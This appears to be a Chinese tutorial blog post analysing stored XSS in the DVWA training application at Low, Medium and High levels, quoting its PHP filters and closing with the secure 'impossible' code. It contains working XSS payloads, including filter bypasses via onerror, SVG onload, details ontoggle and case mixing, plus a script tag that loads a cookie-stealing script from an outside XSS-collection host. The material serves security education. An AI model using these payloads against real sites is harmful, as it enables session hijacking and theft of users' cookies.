当前位置: 首页 > news >正文

【web安全】DVWA存储型XSS分析与利用

目录

一、Low级别

1.1 环境与代码分析

1.2 实战攻击演示

二、Medium级别绕过

2.1 防护机制分析

2.2 绕过技术详解

三、高安全级绕过

3.1 严格过滤机制

3.2绕过方案

四、防御体系构建指南

4.1 安全防护对比表

4.2 impossible代码

4.3各安全级别对比表


一、Low级别

1.1 环境与代码分析

安全设置:DVWA Security → Low 漏洞文件vulnerabilities/xss_stored/source/low.php

// 关键漏洞代码:
$message = stripslashes($_POST['mtxMessage']);
$name = stripslashes($_POST['txtName']);
// 直接存入数据库
$query = "INSERT INTO guestbook VALUES ('$message','$name')";
stripslashes() 作用去除字符串中的反斜线转义字符
将 \' 转换为 '
将 \" 转换为 "
将 \\ 转换为 \
将 \0 转换为 NULL 字符

PHP stripslashes() 函数详解-CSDN博客

1.2 实战攻击演示

基础验证Payload

<script>alert(document.cookie)</script>

插入payload代码,刷新页面触发xss

高级利用(插入js)

<script src="http://192.168.21.4/BlueLotus/myjs/cookie.js"></script>

xss平台收到cookie

二、Medium级别绕过

2.1 防护机制分析

安全设置:DVWA Security → Medium 过滤代码medium.php

$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );

trim() 作用

去除字符串首尾空白字符

strip_tags()作用

移除 <div> 标签及其属性
移除 <p> 标签
保留标签间文本内容
移除 <!-- 注释 -->
移除 <b> 标签但保留其内容

htmlspecialchars()作用:

& → &amp;
" → &quot; (当使用 ENT_QUOTES 时)
' → &#039; (当使用 ENT_QUOTES 时)
< → &lt;
> → &gt;

str_replace()作用

过滤name字段中<script>

PHP strip_tags() 函数详解-CSDN博客

PHP addslashes() 函数详解-CSDN博客

2.2 绕过技术详解

技术1:事件处理器绕过

name参数未转义,可插入html代码,输入存在前端字符数限制,增大字符数10-->100,绕过前端限制

<img src=x onerror=alert(/111/)>

或者抓包后,进行修改

通过onerror事件触发xss

技术2:大小写混淆

<ScRiPt>prompt("1")</ScRiPt>

技术3:属性字符突破

<svg><script>alert&#40;1&#41;</script>

代码分析:HTML实体编码部分字符绕过检测

三、高安全级绕过

3.1 严格过滤机制

安全设置:DVWA Security → High 防护代码high.php

$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );//过滤字符串中的 <script> 标签及其变体

addslashes()作用

转义特殊字符:
单引号(')→ 转义为 \'
双引号(")→ 转义为 \"
反斜线(\)→ 转义为 \\
NULL 字符(\0)→ 转义为 \0

主要用途:
准备要存入数据库的字符串数据
防止特殊字符破坏字符串结构
处理可能包含危险字符的用户输入

3.2绕过方案

方案1:SVG矢量攻击 --name字段插入

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(2)"/>

图4:SVG命名空间下的XSS执行

方案2:HTML5新特性

<details open ontoggle=alert(1)>

四、防御体系构建指南

4.1 安全防护对比表

防护层低级别漏洞中级别改进高级别方案
输入过滤基础HTML编码严格上下文编码
输出编码部分实现多重编码
CSP策略推荐配置

4.2 impossible代码

<?php
​
if( isset( $_POST[ 'btnSign' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );
​// Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );
​// Sanitize name input$name = stripslashes( $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$name = htmlspecialchars( $name );
​// Update database$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );$data->bindParam( ':message', $message, PDO::PARAM_STR );$data->bindParam( ':name', $name, PDO::PARAM_STR );$data->execute();
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

用户输入:<script>alert(1)</script>
经过 htmlspecialchars() 转义后存入数据库:
&lt;script&gt;alert(1)&lt;/script&gt;
从数据库读取后直接输出到 HTML 时,浏览器会显示为文本而非执行脚本。

4.3各安全级别对比表

安全级别过滤函数可绕过方式危险程度
Lowstripslashes()任何标准XSS★★★★★
Mediumhtmlspecialchars()事件处理器/大小写★★★☆
Highhtmlspecialchars(ENT_QUOTES)SVG/高级HTML5★★☆
http://www.dtcms.com/a/284179.html

相关文章:

  • 第6天| openGauss中用户一次只能连接到一个数据库,没法访问其他数据库的对象
  • arping(ARP协议网络测试工具)
  • 【实时Linux实战系列】实时系统的安全性架构
  • MySQL如何解决事务并发的幻读问题
  • 从单线程到云原生:Redis 二十年演进全景与内在机理深剖
  • RuoYi-Cloud 定制微服务
  • 宝塔申请证书错误,提示 module ‘OpenSSL.crypto‘ has no attribute ‘sign‘
  • 有痛呻吟!!!
  • 09-three.js Materials
  • 任务4.1 谁做的好事
  • Nginx/OpenResty HTTP 请求处理阶段与 Lua 实践全解20250717
  • Python包测试全攻略:从单元测试到持续集成
  • Rabbitmq Direct Exchange(直连交换机)多个消费者,配置相同的key ,队列,可以保证只有一个消费者消费吗
  • 生成式AI干预下的认知依赖与批判性思维发展:基于ChatGPT辅助写作的纵向追踪
  • stl-string模拟
  • [NIPST AI]对抗性机器学习攻击和缓解的分类和术语
  • 【机器学习【7】】数据预处理:数据准备、数据转换、数据输出
  • 「Trae IDE 全流程实战」——从 0 下载安装,到在本地跑起一个可玩的 2048 小游戏
  • Java项目:基于SSM框架实现的在线视频点播管理系统【ssm+B/S架构+源码+数据库+毕业论文】
  • Redis学习系列之—— JDHotKey 热点缓存探测系统
  • 4.PCL点云的数据结构
  • Kotlin抽象类
  • Kotlin属性重写
  • 【web安全】DVWA反射型XSS漏洞分析与利用
  • web安全入门 | 记新手小白初次尝试挖越权漏洞
  • Java行为型模式---命令模式
  • AR智能巡检:制造业零缺陷安装的“数字监工”
  • 深入理解Java中的Collections.max()方法
  • Adobe Photoshop:数字图像处理的终极工具指南
  • 编译原理第六到七章(知识点学习/期末复习/笔试/面试)